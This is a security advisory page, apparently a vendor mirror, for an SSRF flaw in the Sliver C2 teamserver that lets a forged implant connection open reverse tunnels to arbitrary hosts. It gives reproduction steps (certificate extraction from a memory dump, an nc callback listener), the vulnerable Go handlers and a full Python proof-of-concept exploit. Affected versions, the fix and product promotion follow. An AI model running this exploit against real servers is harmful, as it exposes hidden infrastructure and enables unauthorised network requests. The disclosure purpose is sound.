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Description
Summary
The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so
Reproduction steps
Run server
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
Generate binary
generate --mtls 127.0.0.1:8443
Run it on windows, then Task manager -> find process -> Create memory dump file
Install RogueSliver and get the certs
git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp
Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc
nc -nvlp 1111
Run the poc (pasted at bottom of this file)
python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
Details
We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed
func handleSliverConnection(conn net.Conn) {
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
defer func() {
mtlsLog.Debugf("mtls connection closing")
conn.Close()
implantConn.Cleanup()
}()
done := make(chan bool)
go func() {
defer func() {
done <- true
}()
handlers := serverHandlers.GetHandlers()
for {
envelope, err := socketReadEnvelope(conn)
if err != nil {
mtlsLog.Errorf("Socket read error %v", err)
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
if resp, ok := implantConn.Resp[envelope.ID]; ok {
resp <- envelope // Could deadlock, maybe want to investigate better solutions
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
}()
}
}
}()
Loop:
for {
select {
case envelope := <-implantConn.Send:
err := socketWriteEnvelope(conn, envelope)
if err != nil {
mtlsLog.Errorf("Socket write failed %v", err)
break Loop
}
case <-done:
break Loop
}
}
mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}
The available handlers:
func GetHandlers() map[uint32]ServerHandler {
return map[uint32]ServerHandler{
// Sessions
sliverpb.MsgRegister: registerSessionHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgSocksData: socksDataHandler,
// Beacons
sliverpb.MsgBeaconRegister: beaconRegisterHandler,
sliverpb.MsgBeaconTasks: beaconTasksHandler,
// Pivots
sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
sliverpb.MsgPivotPeerFailure: pivotPeerFailureHandler,
}
}
If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function
// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
if session == nil {
sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
return nil
}
tunnelHandlerMutex.Lock()
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
if rtunnel != nil && session.ID == rtunnel.SessionID {
RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else if rtunnel != nil && session.ID != rtunnel.SessionID {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
} else if rtunnel == nil && tunnelData.CreateReverse == true {
createReverseTunnelHandler(implantConn, data)
//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else {
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
}
}
return nil
}
The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
req := &sliverpb.TunnelData{}
proto.Unmarshal(data, req)
var defaultDialer = new(net.Dialer)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
//dst, err := net.Dial("tcp", remoteAddress)
if err != nil {
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: req.TunnelID,
})
implantConn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
cancelContext()
return nil
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
//log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(1000 * time.Second)
}
tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
rtunnels.AddRTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := rtunnels.GetRTunnel(tunnel.ID)
rtunnels.RemoveRTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: implantConn,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
tunnelDataCache.Add(tunnel.ID, req.Sequence, req)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
implantConn.RequestResend(data)
}
}
return nil
}
Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now
To exploit this for MTLS listeners, you will need MTLS keys For HTTP listeners, you will need to generate valid nonce Not sure about other transport types
POC
POC code, it is not cleaned up at all, please forgive me
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string
ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
def generate_random_string(length=8):
# Combine letters and digits
characters = string.ascii_letters + string.digits
# Generate random string
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
def rand_unicode(junk_sz):
junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
return(junk)
def junk_register(junk_sz):
n = generate_random_string()
register = {
"Name": "chebuya"+n,
"Hostname": "chebuya.local"+n,
"Uuid": "uuid"+n,
"Username": "username"+n,
"Uid": "uid"+n,
"Gid": "gid"+n,
"Os": "os"+n,
"Arch": "arch"+n,
"Pid": 10,
"Filename": "filename"+n,
"ActiveC2": "activec2"+n,
"Version": "version"+n,
"ReconnectInterval": 60,
"ConfigID": "config_id"+n,
"PeerID": -1,
"Locale": "locale" + n
}
return register
def make_ping_env():
reg = sliver.Ping()
json_format.Parse(json.dumps({}),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Ping')
envelope.Data = reg.SerializeToString()
return envelope
def make_rt_env():
jdata = {
"Data": "c3NyZiBwb2M=",
"Closed": False,
"Sequence": 0,
"Ack": 0,
"Resend": False,
"CreateReverse": True,
"rportfwd": {
"Port": int(sys.argv[4]),
"Host": sys.argv[3],
"TunnelID": 0,
},
"TunnelID": 0,
}
reg = sliver.TunnelData()
json_format.Parse(json.dumps(jdata),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('TunnelData')
envelope.Data = reg.SerializeToString()
return envelope
def send_envelope(envelope,ip,port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
with ssl_ctx.wrap_socket(s,) as ssock:
ssock.connect((ip,port))
print(len(envelope.SerializeToString()))
#data_len = struct.pack('!I', len(envelope.SerializeToString()) )
data_len = struct.pack('I', len(envelope.SerializeToString()) )
envelope3 = make_rt_env()
data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )
print(data_len)
ssock.write(data_len + envelope.SerializeToString())
ssock.write(data_len3 + envelope3.SerializeToString())
# No idea why this is reqauired
while True:
time.sleep(2)
ssock.write(data_len3 + envelope3.SerializeToString())
def register_session(ip,port):
print('[yellow]\[i][/yellow] Sending session registration.')
reg = sliver.Register()
json_format.Parse(json.dumps(junk_register(50)),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Register')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
def register_beacon(ip,port):
print('[yellow]\[i][/yellow] Sending beacon registration.')
reg = sliver.BeaconRegister()
reg.ID = str(uuid.uuid4())
junk_sz = 50
reg.Interval = random.randint(0,10*junk_sz)
reg.Jitter = random.randint(0,10*junk_sz)
reg.NextCheckin = random.randint(0,10*junk_sz)
json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
envelope = sliver.Envelope()
envelope.Type = msgs.index('BeaconRegister')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''
if __name__ == '__main__':
register_session(sys.argv[1], int(sys.argv[2]))
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/bishopfox/sliver | ≥ 1.5.26&&< 1.5.43 | 1.5.43 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/bishopfox/sliver. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/bishopfox/sliver to 1.5.43 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fh4v-v779-4g2w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fh4v-v779-4g2w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fh4v-v779-4g2w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fh4v-v779-4g2w in your dependencies?
O3 detects GHSA-fh4v-v779-4g2w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.